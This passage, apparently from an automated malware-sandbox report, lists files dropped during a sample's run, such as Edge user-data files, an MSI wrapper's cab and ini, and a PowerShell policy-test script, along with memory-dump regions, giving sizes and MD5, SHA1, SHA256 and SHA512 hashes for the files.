20b94286e09edd094c3779b59f27d0875b6d7cf73300961a0a2baefc5637f144

SHA512
cf752ad1b73400c1543a5ec7e8b4df9649c273c0f4895342bc51d5fee797880b7228f534c1bff2c8e2527b8ded1934f2b4508b919ceccd64e9835e0e81532fa6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1b076a1ef8ac2de4e35a82277ab533f1

SHA1
60341a7e6df3dd8ff5393fa2167193c68028d750

SHA256
d2d91693cafaade108fbdf59044162eeae590311b9401fe315ce1f4c86fb3bcf

SHA512
498be97a58eedc5727b3a2441720565b564ca7631b675d4c66da27bcb36e7e22acfc7e933a279ef5f9b3f4929d3f49e65b8f790d8de9bc24bba4392210a0286d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
3788faa78a082e2a3f364f9ceeda1097

SHA1
f850150cbbd615f2d0dcc26c2ef6deff2b8597be

SHA256
b2dac41bced73af8e324435038dcb819a4a93f845200774d91a70ad44cb8edd3

SHA512
a3434968b74d6673fc4bc793db2d0f2c3e9b0442a750271e2922f13a6bbd393ffe3bdad1e2a4d3c7c0086d518cc250048f1357b33d2ad1f9f3585ac7d538c7b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi

Filesize
2.0MB

MD5
45a56a51bffca8d36b068af78dbc6aa6

SHA1
a694ba66def8d702feb337a234f0ab4e562efeda

SHA256
6984a8e300e9a3aee123a340299b813134c89bd7e4c91793321643e6ecdef9ae

SHA512
4b599573283efa10442645bc9da7a924f17407e369f80c15c8bb81e633e4d6c4a171391e4126292b1421aefcc2d702c305eb0e9f8a644d83f4f7acf09028c9da

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-cd1032b2-c29e-475f-a628-0b659a7ad1ec\files.cab

Filesize
1.7MB

MD5
df5cc7b5707ecf44d429585c625d5b7f

SHA1
a837d6b536151c31b412b81f06da995b746c02c1

SHA256
cce10adeed7eace3be7434312279923db0c3f79a71a48b985aca9e3c7d585a2e

SHA512
bca1581078da37ec204ba7c32410528908b3b701a83bf73659897387b20766e99d23aa9ad4830cc61a2e7a066394b4fbbe8fd2a3968580494a8c7f593ed2e0d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-cd1032b2-c29e-475f-a628-0b659a7ad1ec\msiwrapper.ini

Filesize
1KB

MD5
48ec7532d19451182fe4ab25ead63eba

SHA1
4e69c5485041868b11884639d2b941e774625685

SHA256
b633702e95f80425587d716a0fd44432d3d09effaa4c601e5e8d6dc4aafede9c

SHA512
af528ff7de43017dfebe6b2328895bc23d59a380276de7a579b058133b56e69ad16d8b4c655f2a44c3f7bae3f9d95212cc884eeeae55b47d363b55745ab3158d

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-cd1032b2-c29e-475f-a628-0b659a7ad1ec\msiwrapper.ini

Filesize
1KB

MD5
3940c3b45508d21f6da4b49add764415

SHA1
51240881f0ce8a0165a82f58d2196bc8d056988c

SHA256
34e5d064730771f7f52115793865015685b910278edf313cbeafb18e5cfcf740

SHA512
195ac8666885b2ad97bfacd35e2f1ceb47075979187af6ec39c07733144e7aabed969d956d48bc4a38a545e745ba8766874531d649b00b012b12da56d0b90803

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0sx1pev2.prn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Installer\MSIB73A.tmp

Filesize
208KB

MD5
0c8921bbcc37c6efd34faf44cf3b0cb5

SHA1
dcfa71246157edcd09eecaf9d4c5e360b24b3e49

SHA256
fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

SHA512
ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

Download Submit
memory/620-173-0x0000000010000000-0x0000000010738000-memory.dmp

Filesize
7.2MB

Download
memory/5792-181-0x00000000058F0000-0x0000000005956000-memory.dmp

Filesize
408KB

Download
memory/5792-209-0x0000000008060000-0x00000000086DA000-memory.dmp

Filesize
6.5MB

Download
memory/5792-180-0x0000000005850000-0x0000000005872000-memory.dmp

Filesize
136KB

Download
memory/5792-192-0x0000000006230000-0x0000000006584000-memory.dmp

Filesize
3.3MB

Download
memory/5792-194-0x00000000066F0000-0x000000000670E000-memory.dmp

Filesize
120KB

Download
memory/5792-195-0x0000000006730000-0x000000000677C000-memory.dmp

Filesize
304KB

Download
memory/5792-197-0x000000006E810000-0x000000006E85C000-memory.dmp

Filesize
304KB

Download
memory/5792-196-0x0000000006D00000-0x0000000006D32000-memory.dmp

Filesize
200KB

Download
memory/5792-208-0x0000000007930000-0x00000000079D3000-memory.dmp

Filesize
652KB

Download
memory/5792-207-0x0000000006CE0000-0x0000000006CFE000-memory.dmp

Filesize
120KB

Download
memory/5792-210-0x0000000007A20000-0x0000000007A3A000-memory.dmp

Filesize
104KB

Download
memory/5792-182-0x00000000060C0000-0x0000000006126000-memory.dmp

Filesize
408KB

Download
memory/5792-211-0x0000000007A80000-0x0000000007A8A000-memory.dmp

Filesize
40KB

Download
memory/5792-212-0x0000000007CB0000-0x0000000007D46000-memory.dmp

Filesize
600KB

Download
memory/5792-213-0x0000000007C20000-0x0000000007C31000-memory.dmp

Filesize
68KB

Download
memory/5792-214-0x0000000007C60000-0x0000000007C6E000-memory.dmp

Filesize
56KB

Download
memory/5792-215-0x0000000007C70000-0x0000000007C84000-memory.dmp

Filesize
80KB

Download
memory/5792-216-0x0000000007D50000-0x0000000007D6A000-memory.dmp

Filesize
104KB

Download
memory/5792-217-0x0000000007CA0000-0x0000000007CA8000-memory.dmp

Filesize
32KB

Download
memory/5792-179-0x0000000005960000-0x0000000005F88000-memory.dmp

Filesize
6.2MB

Download
memory/5792-178-0x0000000005140000-0x0000000005176000-memory.dmp

Filesize
216KB

Download